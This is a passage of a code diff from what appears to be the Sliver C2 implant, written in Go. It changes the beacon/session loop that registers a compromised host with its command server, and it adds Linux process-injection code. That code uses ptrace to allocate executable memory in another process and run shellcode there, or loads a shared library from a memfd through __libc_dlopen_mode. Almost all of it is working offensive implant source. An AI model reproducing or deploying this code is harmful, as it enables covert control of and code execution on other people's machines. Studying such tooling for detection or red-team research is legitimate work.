||||
// {{if .Config.Debug}}
|
||||
log.Printf("[beacon] failed to connect to server, max connection attempts reached")
|
||||
// {{end}}
|
||||
break
|
||||
}
|
||||
connection := transports.StartConnectionLoop(openSession.C2S)
|
||||
// {{if .Config.Debug}}
|
||||
if connection == nil {
|
||||
log.Printf("[beacon] failed to open session!")
|
||||
}
|
||||
// {{end}}
|
||||
if connection != nil {
|
||||
sessionMainLoop(connection)
|
||||
}
|
||||
}()
|
||||
}
|
||||
|
||||
// {{end}} -IsBeacon
|
||||
|
||||
func sessionMainLoop(connection *transports.Connection) error {
|
||||
err := connection.Start()
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[session] failed to establish connection: %s", err)
|
||||
// {{end}}
|
||||
return err
|
||||
}
|
||||
if connection == nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[session] nil connection!")
|
||||
// {{end}}
|
||||
return nil
|
||||
}
|
||||
defer connection.Stop()
|
||||
connectionErrors = 0
|
||||
func sessionMainLoop(connection *transports.Connection) {
|
||||
// Reconnect active pivots
|
||||
// pivots.ReconnectActivePivots(connection)
|
||||
register := registerSliver()
|
||||
register.ActiveC2 = connection.URL()
|
||||
register.ProxyURL = connection.ProxyURL()
|
||||
connection.Send <- wrapEnvelope(sliverpb.MsgRegister, register) // Send registration information
|
||||
pivots.ReconnectActivePivots(connection)
|
||||
|
||||
connection.Send <- Envelope(sliverpb.MsgRegister, RegisterSliver()) // Send registration information
|
||||
|
||||
pivotHandlers := handlers.GetPivotHandlers()
|
||||
tunHandlers := handlers.GetTunnelHandlers()
|
||||
sysHandlers := handlers.GetSystemHandlers()
|
||||
sysPivotHandlers := handlers.GetSystemPivotHandlers()
|
||||
specialHandlers := handlers.GetSpecialHandlers()
|
||||
|
||||
for envelope := range connection.Recv {
|
||||
@@ -589,6 +542,11 @@ func sessionMainLoop(connection *transports.Connection) error {
|
||||
log.Printf("[recv] tunHandler %d", envelope.Type)
|
||||
// {{end}}
|
||||
go handler(envelope, connection)
|
||||
} else if handler, ok := sysPivotHandlers[envelope.Type]; ok {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[recv] sysPivotHandlers with type %d", envelope.Type)
|
||||
// {{end}}
|
||||
go handler(envelope, connection)
|
||||
} else {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[recv] unknown envelope type %d", envelope.Type)
|
||||
@@ -600,11 +558,10 @@ func sessionMainLoop(connection *transports.Connection) error {
|
||||
}
|
||||
}
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// Envelope - Creates an envelope with the given type and data.
|
||||
func wrapEnvelope(msgType uint32, message protoreflect.ProtoMessage) *sliverpb.Envelope {
|
||||
func Envelope(msgType uint32, message protoreflect.ProtoMessage) *sliverpb.Envelope {
|
||||
data, err := proto.Marshal(message)
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
@@ -618,8 +575,8 @@ func wrapEnvelope(msgType uint32, message protoreflect.ProtoMessage) *sliverpb.E
|
||||
}
|
||||
}
|
||||
|
||||
// registerSliver - Creates a registartion protobuf message
|
||||
func registerSliver() *sliverpb.Register {
|
||||
// RegisterSliver - Creates a registartion protobuf message
|
||||
func RegisterSliver() *sliverpb.Register {
|
||||
hostname, err := os.Hostname()
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
@@ -636,9 +593,9 @@ func registerSliver() *sliverpb.Register {
|
||||
|
||||
// Gracefully error out
|
||||
currentUser = &user.User{
|
||||
Username: "<err>",
|
||||
Uid: "<err>",
|
||||
Gid: "<err>",
|
||||
Username: "<< error >>",
|
||||
Uid: "<< error >>",
|
||||
Gid: "<< error >>",
|
||||
}
|
||||
|
||||
}
|
||||
@@ -649,31 +606,31 @@ func registerSliver() *sliverpb.Register {
|
||||
if 0 < len(os.Args) {
|
||||
filename = os.Args[0]
|
||||
} else {
|
||||
filename = "<err>"
|
||||
filename = "<< error >>"
|
||||
}
|
||||
}
|
||||
|
||||
// Retrieve UUID
|
||||
uuid := hostuuid.GetUUID()
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("Host Uuid: %s", uuid)
|
||||
log.Printf("Uuid: %s", uuid)
|
||||
// {{end}}
|
||||
|
||||
return &sliverpb.Register{
|
||||
Name: consts.SliverName,
|
||||
Hostname: hostname,
|
||||
Uuid: uuid,
|
||||
Username: currentUser.Username,
|
||||
Uid: currentUser.Uid,
|
||||
Gid: currentUser.Gid,
|
||||
Os: runtime.GOOS,
|
||||
Version: version.GetVersion(),
|
||||
Arch: runtime.GOARCH,
|
||||
Pid: int32(os.Getpid()),
|
||||
Filename: filename,
|
||||
// ActiveC2: transports.GetActiveC2(),
|
||||
Name: consts.SliverName,
|
||||
Hostname: hostname,
|
||||
Uuid: uuid,
|
||||
Username: currentUser.Username,
|
||||
Uid: currentUser.Uid,
|
||||
Gid: currentUser.Gid,
|
||||
Os: runtime.GOOS,
|
||||
Version: version.GetVersion(),
|
||||
Arch: runtime.GOARCH,
|
||||
Pid: int32(os.Getpid()),
|
||||
Filename: filename,
|
||||
ActiveC2: transports.GetActiveC2(),
|
||||
ReconnectInterval: int64(transports.GetReconnectInterval()),
|
||||
// ProxyURL: transports.GetProxyURL(),
|
||||
ConfigID: "{{ .Config.ID }}",
|
||||
ProxyURL: transports.GetProxyURL(),
|
||||
ConfigID: "{{ .Config.ID }}",
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,514 @@
|
||||
package taskrunner
|
||||
|
||||
import (
|
||||
"debug/elf"
|
||||
"fmt"
|
||||
"io/ioutil"
|
||||
|
||||
// {{if .Config.Debug}}
|
||||
"log"
|
||||
// {{end}}
|
||||
"os"
|
||||
"runtime"
|
||||
"strings"
|
||||
"syscall"
|
||||
|
||||
"golang.org/x/sys/unix"
|
||||
)
|
||||
|
||||
func getSymbolOffset(symbolName, libPath string) (uint64, error) {
|
||||
e, err := elf.Open(libPath)
|
||||
if err != nil {
|
||||
return 0, err
|
||||
}
|
||||
symbols, err := e.DynamicSymbols()
|
||||
if err != nil {
|
||||
return 0, err
|
||||
}
|
||||
for _, s := range symbols {
|
||||
if s.Name == symbolName {
|
||||
return s.Value, nil
|
||||
}
|
||||
}
|
||||
return 0, fmt.Errorf("symbol not found")
|
||||
}
|
||||
|
||||
func allocateMap(pid int, size uint64, permissions int) (uint64, error) {
|
||||
var (
|
||||
res uint64
|
||||
)
|
||||
err := getRegistersAndRestore(pid, func(regs *syscall.PtraceRegs) error {
|
||||
backupData, err := readMem(pid, regs.Rip)
|
||||
backupRip := regs.Rip
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Println("readMem:", err)
|
||||
// {{end}}
|
||||
return err
|
||||
}
|
||||
var syscallCall = []byte{0x0f, 0x05, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00} // syscall asm instruction
|
||||
err = writeMem(pid, regs.Rip, syscallCall)
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Println("writeMem failed:", err)
|
||||
// {{end}}
|
||||
return err
|
||||
}
|
||||
regs.Rax = syscall.SYS_MMAP
|
||||
regs.Rdi = 0
|
||||
regs.Rsi = size
|
||||
regs.Rdx = uint64(permissions)
|
||||
regs.R10 = syscall.MAP_ANONYMOUS | syscall.MAP_PRIVATE
|
||||
regs.R8 = 0
|
||||
regs.R9 = 0
|
||||
|
||||
err = syscall.PtraceSetRegs(pid, regs)
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Println("PtraceSetRegs failed:", err)
|
||||
// {{end}}
|
||||
return err
|
||||
}
|
||||
// {{if .Config.Debug}}
|
||||
log.Println("[*] Registers set !")
|
||||
// {{end}}
|
||||
err = syscall.PtraceSingleStep(pid)
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Println("PtraceSingleStep failed:", err)
|
||||
// {{end}}
|
||||
return err
|
||||
}
|
||||
_, _, err = ptraceWait(pid)
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Println(err)
|
||||
// {{end}}
|
||||
return err
|
||||
}
|
||||
err = syscall.PtraceSingleStep(pid)
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Println("PtraceSingleStep failed:", err)
|
||||
// {{end}}
|
||||
return err
|
||||
}
|
||||
_, _, err = ptraceWait(pid)
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Println(err)
|
||||
// {{end}}
|
||||
return err
|
||||
}
|
||||
var newRegs = &syscall.PtraceRegs{}
|
||||
err = syscall.PtraceGetRegs(pid, newRegs)
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Println("PtraceGetRegs failed:", err)
|
||||
// {{end}}
|
||||
return err
|
||||
}
|
||||
// {{if .Config.Debug}}
|
||||
log.Println("[*] Got registers")
|
||||
// {{end}}
|
||||
res = newRegs.Rax
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[*] New RIP at 0x%08x\n", newRegs.Rip)
|
||||
log.Printf("[*] Allocated memory at 0x%08x\n", res)
|
||||
// {{end}}
|
||||
allMaps, err := ProcMaps(pid)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
// {{if .Config.Debug}}
|
||||
for _, m := range allMaps {
|
||||
if res > uint64(m.StartAddr) && res < uint64(m.EndAddr) {
|
||||
log.Printf("[*] Mapping in %s\n", m.Pathname)
|
||||
break
|
||||
}
|
||||
}
|
||||
// {{end}}
|
||||
err = writeMem(pid, backupRip, backupData)
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Println("writeMem:", err)
|
||||
// {{end}}
|
||||
return err
|
||||
}
|
||||
return err
|
||||
})
|
||||
return res, err
|
||||
}
|
||||
|
||||
func ptraceWait(pid int) (wpid int, status syscall.WaitStatus, err error) {
|
||||
wpid, err = syscall.Wait4(pid, &status, syscall.WALL, nil)
|
||||
if err != nil {
|
||||
return 0, 0, err
|
||||
}
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("wait: wpid=%5d, status=0x%06x\n", wpid, status)
|
||||
// {{end}}
|
||||
return wpid, status, nil
|
||||
}
|
||||
|
||||
func getRegistersAndRestore(pid int, callback func(regs *syscall.PtraceRegs) error) error {
|
||||
backup := syscall.PtraceRegs{}
|
||||
err := syscall.PtraceGetRegs(pid, &backup)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[*] Old RIP at 0x%08x\n", backup.Rip)
|
||||
// {{end}}
|
||||
regs := backup
|
||||
err = callback(®s)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
return syscall.PtraceSetRegs(pid, &backup)
|
||||
}
|
||||
|
||||
func writeMem(pid int, addr uint64, data []byte) error {
|
||||
c, err := syscall.PtracePokeData(pid, uintptr(addr), data)
|
||||
if err == nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[*] Wrote %d bytes\n", c)
|
||||
// {{end}}
|
||||
}
|
||||
return err
|
||||
}
|
||||
|
||||
func readMem(pid int, addr uint64) ([]byte, error) {
|
||||
res := make([]byte, 2048)
|
||||
_, err := syscall.PtracePeekData(pid, uintptr(addr), res)
|
||||
return res, err
|
||||
}
|
||||
|
||||
func writeToMemFD(data []byte) (string, error) {
|
||||
newFdName := "_"
|
||||
fd, err := unix.MemfdCreate(newFdName, unix.MFD_ALLOW_SEALING)
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
|
||||
pid := os.Getpid()
|
||||
fdPath := fmt.Sprintf("/proc/%d/fd/%d", pid, fd)
|
||||
err = ioutil.WriteFile(fdPath, data, 0755)
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
return fdPath, nil
|
||||
}
|
||||
|
||||
func getProgName(pid int) (string, error) {
|
||||
var progName string
|
||||
data, err := ioutil.ReadFile(fmt.Sprintf("/proc/%d/cmdline", pid))
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
for _, b := range data {
|
||||
if b == 0x00 {
|
||||
break
|
||||
}
|
||||
progName += string(b)
|
||||
}
|
||||
return progName, nil
|
||||
}
|
||||
|
||||
// Make sure we're inside the target main module
|
||||
// and not inside some shared library code
|
||||
func findSweetSpot(pid int) error {
|
||||
var module *ProcMap
|
||||
progName, err := getProgName(pid)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
regs := syscall.PtraceRegs{}
|
||||
allMaps, err := ProcMaps(pid)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
for _, m := range allMaps {
|
||||
if strings.Contains(m.Pathname, progName) && m.Perms.Execute {
|
||||
module = m
|
||||
}
|
||||
}
|
||||
if module == nil {
|
||||
return fmt.Errorf("can't find module")
|
||||
}
|
||||
for {
|
||||
err := syscall.PtraceSingleStep(pid)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
_, _, err = ptraceWait(pid)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
err = syscall.PtraceGetRegs(pid, ®s)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
if regs.Rip > uint64(module.StartAddr) && regs.Rip < uint64(module.EndAddr) {
|
||||
break
|
||||
}
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func callDlopen(pid int, dataAddr uint64, dlopenAddr uint64) error {
|
||||
err := getRegistersAndRestore(pid, func(regs *syscall.PtraceRegs) error {
|
||||
// {{if .Config.Debug}}
|
||||
allMaps, _ := ProcMaps(pid)
|
||||
for _, m := range allMaps {
|
||||
if regs.Rip > uint64(m.StartAddr) && regs.Rip < uint64(m.EndAddr) {
|
||||
log.Printf("[*] RIP in %s\n", m.Pathname)
|
||||
break
|
||||
}
|
||||
}
|
||||
// {{end}}
|
||||
inject := []byte{0xff, 0xd0, 0xcc, 0x00, 0x00, 0x00, 0x00, 0x00} // call rax; int3
|
||||
// Backup stuff
|
||||
backupData, err := readMem(pid, regs.Rip)
|
||||
backupRip := regs.Rip
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Println("readMem:", err)
|
||||
// {{end}}
|
||||
return err
|
||||
}
|
||||
regs.Rax = dlopenAddr
|
||||
regs.Rdi = dataAddr
|
||||
regs.Rsi = 2 // RTLD_NOW
|
||||
|
||||
err = syscall.PtraceSetRegs(pid, regs)
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[!] PtraceSetRegs failed: %v\n", err)
|
||||
// {{end}}
|
||||
return err
|
||||
}
|
||||
// {{if .Config.Debug}}
|
||||
log.Println("[*] Registers set!")
|
||||
// {{end}}
|
||||
err = writeMem(pid, regs.Rip, inject)
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Println("[!] writeMem failed:", err)
|
||||
// {{end}}
|
||||
return err
|
||||
}
|
||||
err = syscall.PtraceCont(pid, 0)
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Println("[!] PtraceCont failed:", err)
|
||||
// {{end}}
|
||||
return err
|
||||
}
|
||||
_, _, err = ptraceWait(pid)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
// {{if .Config.Debug}}
|
||||
log.Println("[*] Got to breakpoint")
|
||||
// {{end}}
|
||||
err = writeMem(pid, backupRip, backupData)
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Println("[!] writeMem failed!")
|
||||
// {{end}}
|
||||
return err
|
||||
}
|
||||
// {{if .Config.Debug}}
|
||||
log.Println("[*] Restored old code")
|
||||
// {{end}}
|
||||
return err
|
||||
})
|
||||
return err
|
||||
}
|
||||
|
||||
func callDlopenNoRet(pid int, dataAddr uint64, dlopenAddr uint64) error {
|
||||
var regs syscall.PtraceRegs
|
||||
err := syscall.PtraceGetRegs(pid, ®s)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
// {{if .Config.Debug}}
|
||||
allMaps, _ := ProcMaps(pid)
|
||||
for _, m := range allMaps {
|
||||
if regs.Rip > uint64(m.StartAddr) && regs.Rip < uint64(m.EndAddr) {
|
||||
log.Printf("[*] RIP in %s\n", m.Pathname)
|
||||
break
|
||||
}
|
||||
}
|
||||
// {{end}}
|
||||
inject := []byte{0xff, 0xd0, 0xc3, 0x00, 0x00, 0x00, 0x00, 0x00} // call rax; int3
|
||||
regs.Rax = dlopenAddr
|
||||
regs.Rdi = dataAddr
|
||||
regs.Rsi = 2 // RTLD_NOW
|
||||
err = syscall.PtraceSetRegs(pid, ®s)
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[!] PtraceSetRegs failed: %v\n", err)
|
||||
// {{end}}
|
||||
return err
|
||||
}
|
||||
// {{if .Config.Debug}}
|
||||
log.Println("[*] Registers set!")
|
||||
// {{end}}
|
||||
err = writeMem(pid, regs.Rip, inject)
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Println("[!] writeMem failed:", err)
|
||||
// {{end}}
|
||||
return err
|
||||
}
|
||||
return err
|
||||
}
|
||||
|
||||
func callShellcode(pid int, addr uint64) error {
|
||||
var regs syscall.PtraceRegs
|
||||
err := syscall.PtraceGetRegs(pid, ®s)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[*] Old RIP at 0x%08x\n", regs.Rip)
|
||||
// {{end}}
|
||||
inject := []byte{0xff, 0xd0, 0xcc, 0x00, 0x00, 0x00, 0x00, 0x00} // call rax; int3
|
||||
regs.Rax = addr
|
||||
err = syscall.PtraceSetRegs(pid, ®s)
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[!] PtraceSetRegs failed: %v\n", err)
|
||||
// {{end}}
|
||||
return err
|
||||
}
|
||||
// {{if .Config.Debug}}
|
||||
log.Println("[*] Registers set!")
|
||||
// {{end}}
|
||||
err = writeMem(pid, regs.Rip, inject)
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Println("[!] writeMem failed:", err)
|
||||
// {{end}}
|
||||
return err
|
||||
}
|
||||
return err
|
||||
}
|
||||
|
||||
// remoteTask injects and run a shellcode in the remote process
|
||||
func remoteTask(data []byte, pid int) error {
|
||||
runtime.LockOSThread()
|
||||
defer runtime.UnlockOSThread()
|
||||
// Attach to process
|
||||
err := syscall.PtraceAttach(pid)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
_, _, err = ptraceWait(pid)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
// {{if .Config.Debug}}
|
||||
log.Println("[*] Attached to", pid)
|
||||
// {{end}}
|
||||
perms := syscall.PROT_EXEC | syscall.PROT_READ | syscall.PROT_WRITE
|
||||
addr, err := allocateMap(pid, uint64(len(data)), perms)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
err = findSweetSpot(pid)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
err = writeMem(pid, addr, data)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
err = callShellcode(pid, addr)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
err = syscall.PtraceDetach(pid)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// libraryTask injects a shared library in the process
|
||||
// designated by pid
|
||||
func libraryTask(data []byte, pid int) error {
|
||||
procMaps, err := ProcMaps(pid)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
var libcMap *ProcMap
|
||||
for _, m := range procMaps {
|
||||
if m.Offset == 0 &&
|
||||
m.Perms.Read &&
|
||||
!m.Perms.Execute &&
|
||||
!m.Perms.Write &&
|
||||
!m.Perms.Shared &&
|
||||
strings.Contains(m.Pathname, "/usr/lib64/libc-") {
|
||||
libcMap = m
|
||||
}
|
||||
}
|
||||
dlopenOffset, err := getSymbolOffset("__libc_dlopen_mode", libcMap.Pathname)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[*] __libc_dlopen_mode offset in %s is at 0x%08x\n", libcMap.Pathname, dlopenOffset)
|
||||
// {{end}}
|
||||
runtime.LockOSThread()
|
||||
defer runtime.UnlockOSThread()
|
||||
// Attach to process
|
||||
err = syscall.PtraceAttach(pid)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
_, _, err = ptraceWait(pid)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
// {{if .Config.Debug}}
|
||||
log.Println("[*] Attached to", pid)
|
||||
// {{end}}
|
||||
perms := syscall.PROT_READ | syscall.PROT_WRITE
|
||||
addr, err := allocateMap(pid, 8192, perms)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
err = findSweetSpot(pid)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
memfd, err := writeToMemFD(data)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
memfdBytes := []byte(memfd)
|
||||
memfdBytes = append(memfdBytes, 0x00)
|
||||
err = writeMem(pid, addr, memfdBytes)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[*] Wrote %d bytes (%s) to 0x%08x\n", len(memfdBytes), memfd, addr)
|
||||
log.Printf("[*] Libc is at 0x%08x, dlopen is at 0x%08x\n", libcMap.StartAddr, uint64(libcMap.StartAddr)+dlopenOffset)
|
||||
// {{end}}
|
||||
err = callDlopenNoRet(pid, addr, uint64(libcMap.StartAddr)+dlopenOffset)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
err = syscall.PtraceDetach(pid)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
return nil
|
||||
}
|
||||
@@ -0,0 +1,210 @@
|
||||
// Copyright 2019 The Prometheus Authors
|
||||
// Licensed under the Apache License, Version 2.0 (the "License");
|
||||
// you may not use this file except in compliance with the License.
|
||||
// You may obtain a copy of the License at
|
||||
//
|
||||
// http://www.apache.org/licenses/LICENSE-2.0
|
||||
//
|
||||
// Unless required by applicable law or agreed to in writing, software
|
||||
// distributed under the License is distributed on an "AS IS" BASIS,
|
||||
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
// See the License for the specific language governing permissions and
|
||||
// limitations under the License.
|
||||
|
||||
//go:build aix || darwin || dragonfly || freebsd || linux || netbsd || openbsd || solaris
|
||||
// +build aix darwin dragonfly freebsd linux netbsd openbsd solaris
|
||||
|
||||
package taskrunner
|
||||
|
||||
import (
|
||||
"bufio"
|
||||
"fmt"
|
||||
"os"
|
||||
"strconv"
|
||||
"strings"
|
||||
|
||||
"golang.org/x/sys/unix"
|
||||
)
|
||||
|
||||
// ProcMapPermissions contains permission settings read from /proc/[pid]/maps
|
||||
type ProcMapPermissions struct {
|
||||
// mapping has the [R]ead flag set
|
||||
Read bool
|
||||
// mapping has the [W]rite flag set
|
||||
Write bool
|
||||
// mapping has the [X]ecutable flag set
|
||||
Execute bool
|
||||
// mapping has the [S]hared flag set
|
||||
Shared bool
|
||||
// mapping is marked as [P]rivate (copy on write)
|
||||
Private bool
|
||||
}
|
||||
|
||||
// ProcMap contains the process memory-mappings of the process,
|
||||
// read from /proc/[pid]/maps
|
||||
type ProcMap struct {
|
||||
// The start address of current mapping.
|
||||
StartAddr uintptr
|
||||
// The end address of the current mapping
|
||||
EndAddr uintptr
|
||||
// The permissions for this mapping
|
||||
Perms *ProcMapPermissions
|
||||
// The current offset into the file/fd (e.g., shared libs)
|
||||
Offset int64
|
||||
// Device owner of this mapping (major:minor) in Mkdev format.
|
||||
Dev uint64
|
||||
// The inode of the device above
|
||||
Inode uint64
|
||||
// The file or psuedofile (or empty==anonymous)
|
||||
Pathname string
|
||||
}
|
||||
|
||||
// parseDevice parses the device token of a line and converts it to a dev_t
|
||||
// (mkdev) like structure.
|
||||
func parseDevice(s string) (uint64, error) {
|
||||
toks := strings.Split(s, ":")
|
||||
if len(toks) < 2 {
|
||||
return 0, fmt.Errorf("unexpected number of fields")
|
||||
}
|
||||
|
||||
major, err := strconv.ParseUint(toks[0], 16, 0)
|
||||
if err != nil {
|
||||
return 0, err
|
||||
}
|
||||
|
||||
minor, err := strconv.ParseUint(toks[1], 16, 0)
|
||||
if err != nil {
|
||||
return 0, err
|
||||
}
|
||||
|
||||
return unix.Mkdev(uint32(major), uint32(minor)), nil
|
||||
}
|
||||
|
||||
// parseAddress just converts a hex-string to a uintptr
|
||||
func parseAddress(s string) (uintptr, error) {
|
||||
a, err := strconv.ParseUint(s, 16, 0)
|
||||
if err != nil {
|
||||
return 0, err
|
||||
}
|
||||
|
||||
return uintptr(a), nil
|
||||
}
|
||||
|
||||
// parseAddresses parses the start-end address
|
||||
func parseAddresses(s string) (uintptr, uintptr, error) {
|
||||
toks := strings.Split(s, "-")
|
||||
if len(toks) < 2 {
|
||||
return 0, 0, fmt.Errorf("invalid address")
|
||||
}
|
||||
|
||||
saddr, err := parseAddress(toks[0])
|
||||
if err != nil {
|
||||
return 0, 0, err
|
||||
}
|
||||
|
||||
eaddr, err := parseAddress(toks[1])
|
||||
if err != nil {
|
||||
return 0, 0, err
|
||||
}
|
||||
|
||||
return saddr, eaddr, nil
|
||||
}
|
||||
|
||||
// parsePermissions parses a token and returns any that are set.
|
||||
func parsePermissions(s string) (*ProcMapPermissions, error) {
|
||||
if len(s) < 4 {
|
||||
return nil, fmt.Errorf("invalid permissions token")
|
||||
}
|
||||
|
||||
perms := ProcMapPermissions{}
|
||||
for _, ch := range s {
|
||||
switch ch {
|
||||
case 'r':
|
||||
perms.Read = true
|
||||
case 'w':
|
||||
perms.Write = true
|
||||
case 'x':
|
||||
perms.Execute = true
|
||||
case 'p':
|
||||
perms.Private = true
|
||||
case 's':
|
||||
perms.Shared = true
|
||||
}
|
||||
}
|
||||
|
||||
return &perms, nil
|
||||
}
|
||||
|
||||
// parseProcMap will attempt to parse a single line within a proc/[pid]/maps
|
||||
// buffer.
|
||||
func parseProcMap(text string) (*ProcMap, error) {
|
||||
fields := strings.Fields(text)
|
||||
if len(fields) < 5 {
|
||||
return nil, fmt.Errorf("truncated procmap entry")
|
||||
}
|
||||
|
||||
saddr, eaddr, err := parseAddresses(fields[0])
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
perms, err := parsePermissions(fields[1])
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
offset, err := strconv.ParseInt(fields[2], 16, 0)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
device, err := parseDevice(fields[3])
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
inode, err := strconv.ParseUint(fields[4], 10, 0)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
pathname := ""
|
||||
|
||||
if len(fields) >= 5 {
|
||||
pathname = strings.Join(fields[5:], " ")
|
||||
}
|
||||
|
||||
return &ProcMap{
|
||||
StartAddr: saddr,
|
||||
EndAddr: eaddr,
|
||||
Perms: perms,
|
||||
Offset: offset,
|
||||
Dev: device,
|
||||
Inode: inode,
|
||||
Pathname: pathname,
|
||||
}, nil
|
||||
}
|
||||
|
||||
// ProcMaps reads from /proc/[pid]/maps to get the memory-mappings of the
|
||||
// process.
|
||||
func ProcMaps(pid int) ([]*ProcMap, error) {
|
||||
file, err := os.Open(fmt.Sprintf("/proc/%d/maps", pid))
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
defer file.Close()
|
||||
|
||||
maps := []*ProcMap{}
|
||||
scan := bufio.NewScanner(file)
|
||||
|
||||
for scan.Scan() {
|
||||
m, err := parseProcMap(scan.Text())
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
maps = append(maps, m)
|
||||
}
|
||||
|
||||
return maps, nil
|
||||
}
|
||||
@@ -29,6 +29,7 @@ import (
|
||||
"syscall"
|
||||
"unsafe"
|
||||
|
||||
"golang.org/x/sys/unix"
|
||||
//{{if .Config.Debug}}
|
||||
"log"
|
||||
//{{end}}
|
||||
@@ -50,33 +51,23 @@ func LocalTask(data []byte, rwxPages bool) error {
|
||||
return nil
|
||||
}
|
||||
|
||||
// RemoteTask -
|
||||
// RemoteTask - injects a shellcode into a remote process
|
||||
func RemoteTask(processID int, data []byte, rwxPages bool) error {
|
||||
return nil
|
||||
return remoteTask(data, processID)
|
||||
}
|
||||
|
||||
// Sideload - Side load a library and return its output
|
||||
func Sideload(procName string, data []byte, args string, kill bool) (string, error) {
|
||||
var (
|
||||
nrMemfdCreate int
|
||||
stdOut bytes.Buffer
|
||||
stdErr bytes.Buffer
|
||||
wg sync.WaitGroup
|
||||
stdOut bytes.Buffer
|
||||
stdErr bytes.Buffer
|
||||
wg sync.WaitGroup
|
||||
)
|
||||
memfdName := randomString(8)
|
||||
memfd, err := syscall.BytePtrFromString(memfdName)
|
||||
fd, err := unix.MemfdCreate(memfdName, unix.MFD_ALLOW_SEALING)
|
||||
if err != nil {
|
||||
//{{if .Config.Debug}}
|
||||
log.Printf("Error during conversion: %s\n", err)
|
||||
//{{end}}
|
||||
return "", err
|
||||
}
|
||||
if runtime.GOARCH == "386" {
|
||||
nrMemfdCreate = 356
|
||||
} else {
|
||||
nrMemfdCreate = 319
|
||||
}
|
||||
fd, _, _ := syscall.Syscall(uintptr(nrMemfdCreate), uintptr(unsafe.Pointer(memfd)), 1, 0)
|
||||
pid := os.Getpid()
|
||||
fdPath := fmt.Sprintf("/proc/%d/fd/%d", pid, fd)
|
||||
err = ioutil.WriteFile(fdPath, data, 0755)
|
||||
